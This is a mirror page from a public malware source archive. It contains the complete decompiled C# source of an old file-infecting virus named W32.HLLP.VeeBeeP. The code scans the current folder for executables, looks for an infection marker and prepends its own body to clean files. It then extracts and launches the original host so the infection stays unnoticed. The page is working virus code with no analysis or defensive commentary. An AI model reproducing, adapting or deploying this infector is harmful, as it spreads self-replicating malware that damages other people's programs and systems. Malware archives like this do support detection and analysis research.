mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
167 lines
5.7 KiB
C#
167 lines
5.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Virus
|
|||
|
// Assembly: virus, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 5C23CEDA-82AF-4A34-8310-1705E25611AB
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.Helpers;
|
|||
|
using System;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
|
|||
|
[Globals.StandardModule]
|
|||
|
internal sealed class Virus
|
|||
|
{
|
|||
|
[STAThread]
|
|||
|
public static void Main()
|
|||
|
{
|
|||
|
Module module = Assembly.GetExecutingAssembly().GetModules()[0];
|
|||
|
string Expression;
|
|||
|
for (string str = FileSystem.Dir(FileSystem.CurDir() + "\\*.exe"); StringType.StrCmp(str, "", false) != 0; str = FileSystem.Dir())
|
|||
|
Expression = Expression + str + "/";
|
|||
|
foreach (object obj in (Array) Strings.Split(Expression, "/"))
|
|||
|
{
|
|||
|
string str1 = StringType.FromObject(obj);
|
|||
|
if (StringType.StrCmp(Strings.LCase(str1), Strings.LCase(module.Name), false) != 0)
|
|||
|
{
|
|||
|
if (StringType.StrCmp(str1, "", false) == 0)
|
|||
|
{
|
|||
|
int num = (int) Interaction.MsgBox((object) "the first VB.NET virus", Title: ((object) "W32.HLLP.VeeBeeP by alcopaul"));
|
|||
|
Interaction.Beep();
|
|||
|
break;
|
|||
|
}
|
|||
|
BinaryReader binaryReader = new BinaryReader((Stream) new FileStream(str1, FileMode.Open, FileAccess.Read));
|
|||
|
binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|||
|
byte[] buffer = new byte[85];
|
|||
|
int count = 84;
|
|||
|
int index = 0;
|
|||
|
while (count > 0)
|
|||
|
{
|
|||
|
int num = binaryReader.Read(buffer, index, count);
|
|||
|
if (num != 0)
|
|||
|
{
|
|||
|
checked { index += num; }
|
|||
|
checked { count -= num; }
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
binaryReader.Close();
|
|||
|
FileSystem.FileOpen(1, "sig.txt", OpenMode.Binary);
|
|||
|
FileSystem.FilePut(1, (Array) buffer, -1, false, false);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
FileSystem.FileOpen(1, "sig.txt", OpenMode.Input);
|
|||
|
string str2 = FileSystem.LineInput(1);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
FileSystem.Kill("sig.txt");
|
|||
|
if (StringType.StrCmp(Strings.LCase(Strings.Mid(Strings.Right(str2, 7), 1, checked (Strings.Len(Strings.Right(str2, 7)) - 1))), "alcovb", false) != 0)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
Virus.infect(str1);
|
|||
|
break;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
try
|
|||
|
{
|
|||
|
object input = (object) new FileStream(module.FullyQualifiedName, FileMode.Open, FileAccess.Read);
|
|||
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|||
|
int num1 = IntegerType.FromObject(ObjectType.SubObj(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null), (object) 6145));
|
|||
|
binaryReader.BaseStream.Seek(6145L, SeekOrigin.Begin);
|
|||
|
byte[] buffer = new byte[checked (num1 + 1)];
|
|||
|
int count = num1;
|
|||
|
int index = 0;
|
|||
|
while (count > 0)
|
|||
|
{
|
|||
|
int num2 = binaryReader.Read(buffer, index, count);
|
|||
|
if (num2 != 0)
|
|||
|
{
|
|||
|
checked { index += num2; }
|
|||
|
checked { count -= num2; }
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
binaryReader.Close();
|
|||
|
FileSystem.FileOpen(1, "vbnet.exe", OpenMode.Binary);
|
|||
|
FileSystem.FilePut(1, (Array) buffer, -1, false, false);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
Interaction.Shell("vbnet.exe " + Interaction.Command(), AppWinStyle.NormalFocus);
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
int num = (int) Interaction.MsgBox((object) "first generation");
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
do
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
File.Delete("vbnet.exe");
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
}
|
|||
|
while (File.Exists("vbnet.exe"));
|
|||
|
}
|
|||
|
|
|||
|
public static object infect(string fff)
|
|||
|
{
|
|||
|
BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.Open, FileAccess.Read));
|
|||
|
binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|||
|
byte[] buffer1 = new byte[6145];
|
|||
|
int count1 = 6144;
|
|||
|
int index1 = 0;
|
|||
|
while (count1 > 0)
|
|||
|
{
|
|||
|
int num = binaryReader1.Read(buffer1, index1, count1);
|
|||
|
if (num != 0)
|
|||
|
{
|
|||
|
checked { index1 += num; }
|
|||
|
checked { count1 -= num; }
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
binaryReader1.Close();
|
|||
|
object input = (object) new FileStream(fff, FileMode.Open, FileAccess.Read);
|
|||
|
BinaryReader binaryReader2 = new BinaryReader((Stream) input);
|
|||
|
long num1 = LongType.FromObject(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null));
|
|||
|
binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|||
|
byte[] buffer2 = new byte[checked ((int) num1 + 1)];
|
|||
|
int count2 = IntegerType.FromObject(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null));
|
|||
|
int index2 = 0;
|
|||
|
while (count2 > 0)
|
|||
|
{
|
|||
|
int num2 = binaryReader2.Read(buffer2, index2, count2);
|
|||
|
if (num2 != 0)
|
|||
|
{
|
|||
|
checked { index2 += num2; }
|
|||
|
checked { count2 -= num2; }
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
binaryReader2.Close();
|
|||
|
FileSystem.FileOpen(1, fff, OpenMode.Binary);
|
|||
|
FileSystem.FilePut(1, (Array) buffer1, -1, false, false);
|
|||
|
FileSystem.FilePut(1, (Array) buffer2, -1, false, false);
|
|||
|
FileSystem.FilePut(1, "alcovb", -1, false);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
object obj;
|
|||
|
return obj;
|
|||
|
}
|
|||
|
}
|